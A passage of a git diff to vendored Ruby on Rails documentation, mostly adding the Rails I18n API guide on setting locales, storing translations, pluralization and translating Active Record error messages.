    +    <%= post_form.submit "Save" %>
    +  </p>
    +<% end %>
    +

    With these changes in place, you’ll find that you can edit a post and its tags directly on the same view.

    +
    + + + +
    +Note +You may want to use javascript to dynamically add additional tags on a single form. For an example of this and other advanced techniques, see the nested model sample application.
    +
    +
+

10. What’s Next?

+
+

Now that you’ve seen your first Rails application, you should feel free to update it and experiment on your own. But you don’t have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:

+
-

Rails also comes with built-in help that you can generate using the rake command-line utility:

-
    +

    Rails also comes with built-in help that you can generate using the rake command-line utility:

    +
    • Running rake doc:guides will put a full copy of the Rails Guides in the /doc/guides folder of your application. Open /doc/guides/index.html in your web browser to explore the Guides. @@ -2023,44 +1825,19 @@ Running rake doc:rails will put a full copy of the API documentation fo

-

10. Changelog

+

11. Changelog

- -
    -
  • -

    -November 3, 2008: Formatting patch from Dave Rothlisberger -

    -
  • -
  • -

    -November 1, 2008: First approved version by Mike Gunderloy -

    -
  • -
  • -

    -October 16, 2008: Revised based on feedback from Pratik Naik by Mike Gunderloy (not yet approved for publication) -

    -
  • -
  • -

    -October 13, 2008: First complete draft by Mike Gunderloy (not yet approved for publication) -

    -
  • -
  • -

    -October 12, 2008: More detail, rearrangement, editing by Mike Gunderloy (not yet approved for publication) -

    -
  • -
  • -

    -September 8, 2008: initial version by James Miller (not yet approved for publication) -

    -
  • -
+ +

* +* November 3, 2008: Formatting patch from Dave Rothlisberger +* November 1, 2008: First approved version by Mike Gunderloy +* October 16, 2008: Revised based on feedback from Pratik Naik by Mike Gunderloy (not yet approved for publication) +* October 13, 2008: First complete draft by Mike Gunderloy (not yet approved for publication) +* October 12, 2008: More detail, rearrangement, editing by Mike Gunderloy (not yet approved for publication) +* September 8, 2008: initial version by James Miller (not yet approved for publication)

-
-
+ + diff --git a/vendor/rails/railties/doc/guides/html/i18n.html b/vendor/rails/railties/doc/guides/html/i18n.html new file mode 100644 index 00000000..b0d52c0f --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/i18n.html @@ -0,0 +1,1274 @@ + + + + + The Rails Internationalization (I18n) API + + + + + + + + +
+ + + +
+

The Rails Internationalization (I18n) API

+
+
+

The Ruby I18n (shorthand for internationalization) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or for providing multi-language support in your application.

+

The process of "internationalization" usually means to abstract all strings and other locale specific bits (such as date or currency formats) out of your application. The process of "localization" means to provide translations and localized formats for these bits. [1]

+

So, in the process of internationalizing your Rails application you have to:

+
    +
  • +

    +Ensure you have support for i18n +

    +
  • +
  • +

    +Tell Rails where to find locale dictionaries +

    +
  • +
  • +

    +Tell Rails how to set, preserve and switch locale +

    +
  • +
+

In the process of localizing your application you’ll probably want to do following three things:

+
    +
  • +

    +Replace or supplement Rail’s default locale — eg. date and time formats, month names, ActiveRecord model names, etc +

    +
  • +
  • +

    +Abstract texts in your application into keyed dictionaries — eg. flash messages, static texts in your views, etc +

    +
  • +
  • +

    +Store the resulting dictionaries somewhere +

    +
  • +
+

This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start.

+
+ + + +
+Note +The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See Rails I18n Wiki for more information.
+
+
+
+

1. How I18n in Ruby on Rails works

+
+

Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:

+
    +
  • +

    +providing support for English and similar languages out of the box +

    +
  • +
  • +

    +making it easy to customize and extend everything for other languages +

    +
  • +
+

As part of this solution, every static string in the Rails framework — eg. Active Record validation messages, time and date formats — has been internationalized, so localization of a Rails application means "over-riding" these defaults.

+

1.1. The overall architecture of the library

+

Thus, the Ruby I18n gem is split into two parts:

+
    +
  • +

    +The public API of the i18n framework — a Ruby module with public methods and definitions how the library works +

    +
  • +
  • +

    +A default backend (which is intentionally named Simple backend) that implements these methods +

    +
  • +
+

As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.

+
+ + + +
+Note +It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section Using different backends below.
+
+

1.2. The public I18n API

+

The most important methods of the I18n API are:

+
+
+
translate         # Lookup text translations
+localize          # Localize Date and Time objects to local formats
+

These have the aliases #t and #l so you can use them like this:

+
+
+
I18n.t 'store.title'
+I18n.l Time.now
+

There are also attribute readers and writers for the following attributes:

+
+
+
load_path         # Announce your custom translation files
+locale            # Get and set the current locale
+default_locale    # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend           # Use a different backend
+

So, let’s internationalize a simple Rails application from the ground up in the next chapters!

+
+

2. Setup the Rails application for internationalization

+
+

There are just a few, simple steps to get up and running with I18n support for your application.

+

2.1. Configure the I18n module

+

Following the convention over configuration philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily.

+

Rails adds all .rb and .yml files from config/locales directory to your translations load path, automatically.

+

See the default en.yml locale in this directory, containing a sample pair of translation strings:

+
+
+
en:
+  hello: "Hello world"
+

This means, that in the :en locale, the key hello will map to Hello world string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the activerecord/lib/active_record/locale/en.yml file or time and date formats in the activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.

+

The I18n library will use English as a default locale, ie. if you don’t set a different locale, :en will be used for looking up translations.

+
+ + + +
+Note +The i18n library takes pragmatic approach to locale keys (after some discussion), including only the locale ("language") part, like :en, :pl, not the region part, like :en-US or :en-UK, which are traditionally used for separating "languages" and "regional setting" or "dialects". (For instance, in the :en-US locale you would have $ as a currency symbol, while in :en-UK, you would have €. Also, insults would be different in American and British English :) Reason for this pragmatic approach is that most of the time, you usually care about making your application available in different "languages", and working with locales is much simpler this way. However, nothing stops you from separating regional and other settings in the traditional way. In this case, you could eg. inherit from the default en locale and then provide UK specific settings in a :en-UK dictionary.
+
+

The translations load path (I18n.load_path) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.

+
+ + + +
+Note +The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
+
+

The default environment.rb files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines.

+
+
+
# The internationalization framework can be changed
+# to have another default locale (standard is :en) or more load paths.
+# All files from config/locales/*.rb,yml are added automatically.
+# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
+# config.i18n.default_locale = :de
+

2.2. Optional: custom I18n configuration setup

+

For the sake of completeness, let’s mention that if you do not want to use the environment.rb file for some reason, you can always wire up things manually, too.

+

To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:

+
+
+
# in config/initializer/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ]
+
+# set default locale to something else then :en
+I18n.default_locale = :pt
+

2.3. Setting and passing the locale

+

If you want to translate your Rails application to a single language other than English (the default locale), you can set I18n.default_locale to your locale in environment.rb or an initializer as shown above, and it will persist through the requests.

+

However, you would probably like to provide support for more locales in your application. In such case, you need to set and pass the locale between requests.

+
+ + + +
+Warning +You may be tempted to store choosed locale in a session or a cookie. Do not do so. The locale should be transparent and a part of the URL. This way you don’t break people’s basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you’re being RESTful. Read more about RESTful approach in Stefan Tilkov’s articles. There may be some exceptions to this rule, which are discussed below.
+
+

The setting part is easy. You can set locale in a before_filter in the ApplicationController like this:

+
+
+
before_filter :set_locale
+def set_locale
+  # if params[:locale] is nil then I18n.default_locale will be used
+  I18n.locale = params[:locale]
+end
+

This requires you to pass the locale as a URL query parameter as in http://example.com/books?locale=pt. (This is eg. Google’s approach). So http://localhost:3000?locale=pt will load the Portugese localization, whereas http://localhost:3000?locale=de would load the German localization, and so on. You may skip the next section and head over to the Internationalize your application section, if you want to try things out by manually placing locale in the URL and reloading the page.

+

Of course, you probably don’t want to manually include locale in every URL all over your application, or want the URLs look differently, eg. the usual http://example.com/pt/books versus http://example.com/en/books. Let’s discuss the different options you have.

+
+ + + +
+Important +Following examples rely on having locales loaded into your application available as an array of strings like ["en", "es", "gr"]. This is not inclued in current version of Rails 2.2 — forthcoming Rails version 2.3 will contain easy accesor available_locales. (See this commit and background at Rails I18n Wiki.)
+
+

So, for having available locales easily available in Rails 2.2, we have to include this support manually in an initializer, like this:

+
+
+
# config/initializers/available_locales.rb
+#
+# Get loaded locales conveniently
+# See http://rails-i18n.org/wiki/pages/i18n-available_locales
+module I18n
+  class << self
+    def available_locales; backend.available_locales; end
+  end
+  module Backend
+    class Simple
+      def available_locales; translations.keys.collect { |l| l.to_s }.sort; end
+    end
+  end
+end
+
+# You need to "force-initialize" loaded locales
+I18n.backend.send(:init_translations)
+
+AVAILABLE_LOCALES = I18n.backend.available_locales
+RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}"
+

You can then wrap the constant for easy access in ApplicationController:

+
+
+
class ApplicationController < ActionController::Base
+  def available_locales; AVAILABLE_LOCALES; end
+end
+

2.4. Setting locale from the domain name

+

One option you have is to set the locale from the domain name where your application runs. For example, we want www.example.com to load English (or default) locale, and www.example.es to load Spanish locale. Thus the top-level domain name is used for locale setting. This has several advantages:

+
    +
  • +

    +Locale is an obvious part of the URL +

    +
  • +
  • +

    +People intuitively grasp in which language the content will be displayed +

    +
  • +
  • +

    +It is very trivial to implement in Rails +

    +
  • +
  • +

    +Search engines seem to like that content in different languages lives at different, inter-linked domains +

    +
  • +
+

You can implement it like this in your ApplicationController:

+
+
+
before_filter :set_locale
+def set_locale
+  I18n.locale = extract_locale_from_uri
+end
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  (available_locales.include? parsed_locale) ? parsed_locale  : nil
+end
+

We can also set the locale from the subdomain in very similar way:

+
+
+
# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+#   127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  (available_locales.include? parsed_locale) ? parsed_locale  : nil
+end
+

If your application includes a locale switching menu, you would then have something like this in it:

+
+
+
link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+

assuming you would set APP_CONFIG[:deutsch_website_url] to some value like http://www.application.de.

+

This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).

+

2.5. Setting locale from the URL params

+

Most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the I18n.locale = params[:locale] before_filter in the first example. We would like to have URLs like www.example.com/books?locale=ja or www.example.com/ja/books in this case.

+

This approach has almost the same set of advantages as setting the locale from domain name: namely that it’s RESTful and in accord with rest of the World Wide Web. It does require a little bit more work to implement, though.

+

Getting the locale from params and setting it accordingly is not hard; including it in every URL and thus passing it through the requests is. To include an explicit option in every URL (eg. link_to( books_url(:locale => I18n.locale) )) would be tedious and probably impossible, of course.

+

Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its ApplicationController#default_url_options, which is useful precisely in this scenario: it enables us to set "defaults" for url_for and helper methods dependent on it (by implementing/overriding this method).

+

We can include something like this in our ApplicationController then:

+
+
+
# app/controllers/application_controller.rb
+def default_url_options(options={})
+  logger.debug "default_url_options is passed options: #{options.inspect}\n"
+  { :locale => I18n.locale }
+end
+

Every helper method dependent on url_for (eg. helpers for named routes like root_path or root_url, resource routes like books_path or books_url, etc.) will now automatically include the locale in the query string, like this: http://localhost:3001/?locale=ja.

+

You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of application domain: and URLs should reflect this.

+

You probably want URLs look like this: www.example.com/en/books (which loads English locale) and www.example.com/nl/books (which loads Netherlands locale). This is achievable with the "over-riding default_url_options" strategy from above: you just have to set up your routes with path_prefix option in this way:

+
+
+
# config/routes.rb
+map.resources :books, :path_prefix => '/:locale'
+

Now, when you call books_path method you should get "/en/books" (for the default locale). An URL like http://localhost:3001/nl/books should load the Netherlands locale, then, and following calls to books_path should return "/nl/books" (because the locale changed).

+

Of course, you need to take special care of root URL (usually "homepage" or "dashboard") of your application. An URL like http://localhost:3001/nl will not work automatically, because the map.root :controller => "dashboard" declaration in your routes.rb doesn’t take locale into account. (And rightly so. There’s only one "root" URL.)

+

You would probably need to map URLs like these:

+
+
+
# config/routes.rb
+map.dashboard '/:locale', :controller => "dashboard"
+

Do take special care about the order of your routes, so this route declaration does not "eat" other ones. (You may want to add it directly before the map.root declaration.)

+
+ + + +
+Important +This solution has currently one rather big downside. Due to the default_url_options implementation, you have to pass the :id option explicitely, like this: link_to Show, book_url(:id => book) and not depend on Rails' magic in code like link_to Show, book. If this should be a problem, have a look on two plugins which simplify working with routes in this way: Sven Fuchs’s routing_filter and Raul Murciano’s translate_routes. See also the page How to encode the current locale in the URL in the Rails i18n Wiki.
+
+

2.6. Setting locale from the client supplied information

+

In specific cases, it would make sense to set locale from client supplied information, ie. not from URL. This information may come for example from users' preffered language (set in their browser), can be based on users' geographical location inferred from their IP, or users can provide it simply by choosing locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about sessions, cookies and RESTful architecture above.

+

2.6.1. Using Accept-Language

+

One source of client supplied information would be an Accept-Language HTTP header. People may set this in their browser or other clients (such as curl).

+

A trivial implementation of using Accept-Language header would be:

+
+
+
def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+private
+def extract_locale_from_accept_language_header
+  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+end
+

Of course, in production environment you would need much robust code, and could use a plugin such as Iaian Hecker’s http_accept_language.

+

2.6.2. Using GeoIP (or similar) database

+

Another way of choosing the locale from client’s information would be to use a database for mapping client IP to region, such as GeoIP Lite Country. The mechanics of the code would be very similar to the code above — you would need to query database for user’s IP, and lookup your preffered locale for the country/region/city returned.

+

2.6.3. User profile

+

You can also provide users of your application with means to set (and possibly over-ride) locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you’d probably let users choose a locale from a dropdown list and save it to their profile in database. Then you’d set the locale to this value.

+
+

3. Internationalizing your application

+
+

OK! Now you’ve initialized I18n support for your Ruby on Rails application and told it which locale should be used and how to preserve it between requests. With that in place, you’re now ready for the really interesting stuff.

+

Let’s internationalize our application, ie. abstract every locale-specific parts, and that localize it, ie. provide neccessary translations for these abstracts.

+

You most probably have something like this in one of your applications:

+
+
+
# config/routes.rb
+ActionController::Routing::Routes.draw do |map|
+  map.root :controller => 'home', :action => 'index'
+end
+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello flash!"
+  end
+end
+
+# app/views/home/index.html.erb
+<h1>Hello world!</h1>
+<p><%= flash[:notice] %></p>
+

+rails i18n demo untranslated +

+

3.1. Adding Translations

+

Obviously there are two strings that are localized to English. In order to internationalize this code, replace these strings with calls to Rails' #t helper with a key that makes sense for the translation:

+
+
+
# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+

When you now render this view, it will show an error message which tells you that the translations for the keys :hello_world and :hello_flash are missing.

+

+rails i18n demo translation missing +

+
+ + + +
+Note +Rails adds a t (translate) helper method to your views so that you do not need to spell out I18n.t all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a <span class="translation_missing">.
+
+

So let’s add the missing translations into the dictionary files (i.e. do the "localization" part):

+
+
+
# config/locale/en.yml
+en:
+  hello_world: Hello World
+  hello_flash: Hello Flash
+
+# config/locale/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+

There you go. Because you haven’t changed the default_locale, I18n will use English. Your application now shows:

+

+rails i18n demo translated to english +

+

And when you change the URL to pass the pirate locale (http://localhost:3000?locale=pirate), you’ll get:

+

+rails i18n demo translated to pirate +

+
+ + + +
+Note +You need to restart the server when you add new locale files.
+
+

3.2. Adding Date/Time formats

+

OK! Now let’s add a timestamp to the view, so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option — by default the :default format is used.

+
+
+
# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, :format => :short %></p>
+

And in our pirate translations file let’s add a time format (it’s already there in Rails' defaults for English):

+
+
+
# config/locale/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+

So that would give you:

+

+rails i18n demo localized time to pirate +

+
+ + + +
+Tip +Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. Of course, there’s a great chance that somebody already did all the work by translating Rails’s defaults for your locale. See the rails-i18n repository at Github for an archive of various locale files. When you put such file(s) in config/locale/ directory, they will automatically ready for use.
+
+

3.3. Organization of locale files

+

When you are using the default SimpleStore, shipped with the i18n library, you store dictionaries in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.

+

For example, your config/locale directory could look like this:

+
+
+
|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+
+

This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (eg. date and time formats).

+

Other stores for the i18n library could provide different means of such separation.

+

Do check the Rails i18n Wiki for list of tools available for managing translations.

+
+

4. Overview of the I18n API features

+
+

You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application. In the following chapters, we’ll cover it’s features in more depth.

+

Covered are features like these:

+
    +
  • +

    +looking up translations +

    +
  • +
  • +

    +interpolating data into translations +

    +
  • +
  • +

    +pluralizing translations +

    +
  • +
  • +

    +localizing dates, numbers, currency etc. +

    +
  • +
+

4.1. Looking up translations

+

4.1.1. Basic lookup, scopes and nested keys

+

Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:

+
+
+
I18n.t :message
+I18n.t 'message'
+

translate also takes a :scope option which can contain one or many additional keys that will be used to specify a “namespace†or scope for a translation key:

+
+
+
I18n.t :invalid, :scope => [:active_record, :error_messages]
+

This looks up the :invalid message in the Active Record error messages.

+

Additionally, both the key and scopes can be specified as dot separated keys as in:

+
+
+
I18n.translate :"active_record.error_messages.invalid"
+

Thus the following calls are equivalent:

+
+
+
I18n.t 'active_record.error_messages.invalid'
+I18n.t 'error_messages.invalid', :scope => :active_record
+I18n.t :invalid, :scope => 'active_record.error_messages'
+I18n.t :invalid, :scope => [:active_record, :error_messages]
+

4.1.2. Defaults

+

When a default option is given its value will be returned if the translation is missing:

+
+
+
I18n.t :missing, :default => 'Not here'
+# => 'Not here'
+

If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.

+

E.g. the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result the string "Not here" will be returned:

+
+
+
I18n.t :missing, :default => [:also_missing, 'Not here']
+# => 'Not here'
+

4.1.3. Bulk and namespace lookup

+

To lookup multiple translations at once an array of keys can be passed:

+
+
+
I18n.t [:odd, :even], :scope => 'active_record.error_messages'
+# => ["must be odd", "must be even"]
+

Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all Active Record error messages as a Hash with:

+
+
+
I18n.t 'active_record.error_messages'
+# => { :inclusion => "is not included in the list", :exclusion => ... }
+

4.2. Interpolation

+

In many cases you want to abstract your translations so that variables can be interpolated into the translation. For this reason the I18n API provides an interpolation feature.

+

All options besides :default and :scope that are passed to #translate will be interpolated to the translation:

+
+
+
I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!'
+I18n.translate :thanks, :name => 'Jeremy'
+# => 'Thanks Jeremy!'
+

If a translation uses :default or :scope as a interpolation variable an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable but it has not been passed to #translate an I18n::MissingInterpolationArgument exception is raised.

+

4.3. Pluralization

+

In English there’s only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages (Arabic, Japanese, Russian and many more) have different grammars that have additional or less plural forms. Thus, the I18n API provides a flexible pluralization feature.

+

The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:

+
+
+
I18n.backend.store_translations :en, :inbox => {
+  :one => '1 message',
+  :other => '{{count}} messages'
+}
+I18n.translate :inbox, :count => 2
+# => '2 messages'
+

The algorithm for pluralizations in :en is as simple as:

+
+
+
entry[count == 1 ? 0 : 1]
+

I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).

+

If the lookup for the key does not return an Hash suitable for pluralization an 18n::InvalidPluralizationData exception is raised.

+

4.4. Setting and passing a locale

+

The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.

+

If no locale is passed I18n.locale is used:

+
+
+
I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+

Explicitely passing a locale:

+
+
+
I18n.t :foo, :locale => :de
+I18n.l Time.now, :locale => :de
+

I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:

+
+
+
I18n.default_locale = :de
+
+

5. How to store your custom translations

+
+

The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. [2]

+

For example a Ruby Hash providing translations can look like this:

+
+
+
{
+  :pt => {
+    :foo => {
+      :bar => "baz"
+    }
+  }
+}
+

The equivalent YAML file would look like this:

+
+
+
pt:
+  foo:
+    bar: baz
+

As you see in both cases the toplevel key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".

+

Here is a "real" example from the ActiveSupport en.yml translations YAML file:

+
+
+
en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+

So, all of the following equivalent lookups will return the :short date format "%B %d":

+
+
+
I18n.t 'date.formats.short'
+I18n.t 'formats.short', :scope => :date
+I18n.t :short, :scope => 'date.formats'
+I18n.t :short, :scope => [:date, :formats]
+

Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date.

+

5.1. Translations for Active Record models

+

You can use the methods Model.human_name and Model.human_attribute_name(attribute) to transparently lookup translations for your model and attribute names.

+

For example when you add the following translations:

+
+
+
en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # will translate User attribute "login" as "Handle"
+

Then User.human_name will return "Dude" and User.human_attribute_name(:login) will return "Handle".

+

5.1.1. Error message scopes

+

Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account.

+

This gives you quite powerful means to flexibly adjust your messages to your application’s needs.

+

Consider a User model with a validates_presence_of validation for the name attribute like this:

+
+
+
class User < ActiveRecord::Base
+  validates_presence_of :name
+end
+

The key for the error message in this case is :blank. Active Record will lookup this key in the namespaces:

+
+
+
activerecord.errors.messages.models.[model_name].attributes.[attribute_name]
+activerecord.errors.messages.models.[model_name]
+activerecord.errors.messages
+

Thus, in our example it will try the following keys in this order and return the first result:

+
+
+
activerecord.errors.messages.models.user.attributes.name.blank
+activerecord.errors.messages.models.user.blank
+activerecord.errors.messages.blank
+

When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up.

+

For example, you might have an Admin model inheriting from User:

+
+
+
class Admin < User
+  validates_presence_of :name
+end
+

Then Active Record will look for messages in this order:

+
+
+
activerecord.errors.models.admin.attributes.title.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.title.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+

This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes.

+

5.1.2. Error message interpolation

+

The translated model name, translated attribute name, and value are always available for interpolation.

+

+

count, where available, can be used for pluralization if present:

+
+ +++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

validation

with option

message

interpolation

validates_confirmation_of

-

:confirmation

-

validates_acceptance_of

-

:accepted

-

validates_presence_of

-

:blank

-

validates_length_of

:within, :in

:too_short

count

validates_length_of

:within, :in

:too_long

count

validates_length_of

:is

:wrong_length

count

validates_length_of

:minimum

:too_short

count

validates_length_of

:maximum

:too_long

count

validates_uniqueness_of

-

:taken

-

validates_format_of

-

:invalid

-

validates_inclusion_of

-

:inclusion

-

validates_exclusion_of

-

:exclusion

-

validates_associated

-

:invalid

-

validates_numericality_of

-

:not_a_number

-

validates_numericality_of

:greater_than

:greater_than

count

validates_numericality_of

:greater_than_or_equal_to

:greater_than_or_equal_to

count

validates_numericality_of

:equal_to

:equal_to

count

validates_numericality_of

:less_than

:less_than

count

validates_numericality_of

:less_than_or_equal_to

:less_than_or_equal_to

count

validates_numericality_of

:odd

:odd

-

validates_numericality_of

:even

:even

-

+
+

5.1.3. Translations for the Active Record error_messages_for helper

+

If you are using the Active Record error_messages_for helper you will want to add translations for it.

+

Rails ships with the following translations:

+
+
+
en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this {{model}} from being saved"
+          other: "{{count}} errors prohibited this {{model}} from being saved"
+        body:    "There were problems with the following fields:"
+

5.2. Overview of other built-in methods that provide I18n support

+

Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here’s a brief overview.

+

5.2.1. ActionView helper methods

+
    +
  • +

    +distance_of_time_in_words translates and pluralizes its result and interpolates the number of seconds, minutes, hours and so on. See datetime.distance_in_words translations. +

    +
  • +
  • +

    +datetime_select and select_month use translated month names for populating the resulting select tag. See date.month_names for translations. datetime_select also looks up the order option from date.order (unless you pass the option explicitely). All date select helpers translate the prompt using the translations in the datetime.prompts scope if applicable. +

    +
  • +
  • +

    +The number_to_currency, number_with_precision, number_to_percentage, number_with_delimiter and humber_to_human_size helpers use the number format settings located in the number scope. +

    +
  • +
+

5.2.2. Active Record methods

+
    +
  • +

    +human_name and human_attribute_name use translations for model names and attribute names if available in the activerecord.models scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". +

    +
  • +
  • +

    +ActiveRecord::Errors#generate_message (which is used by Active Record validations but may also be used manually) uses human_name and human_attribute_name (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". +

    +
  • +
+

* ActiveRecord::Errors#full_messages prepends the attribute name to the error message using a separator that will be looked up from activerecord.errors.format.separator (and defaults to ' ').

+

5.2.3. ActiveSupport methods

+
    +
  • +

    +Array#to_sentence uses format settings as given in the support.array scope. +

    +
  • +
+
+

6. Customize your I18n setup

+
+

6.1. Using different backends

+

For several reasons the shipped Simple backend only does the "simplest thing that ever could work" for Ruby on Rails [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.

+

That does not mean you’re stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize’s Static backend:

+
+
+
I18n.backend = Globalize::Backend::Static.new
+

6.2. Using different exception handlers

+

The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:

+
+
+
MissingTranslationData       # no translation was found for the requested key
+InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
+

The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught it will return the exception’s error message string containing the missing key/scope.

+

The reason for this is that during development you’d usually want your views to still render even though a translation is missing.

+

In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:

+
+
+
module I18n
+  def just_raise_that_exception(*args)
+    raise args.first
+  end
+end
+
+I18n.exception_handler = :just_raise_that_exception
+

This would re-raise all caught exceptions including MissingTranslationData.

+

Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context the helper wraps the message into a span with the CSS class translation_missing.

+

To do so the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:

+
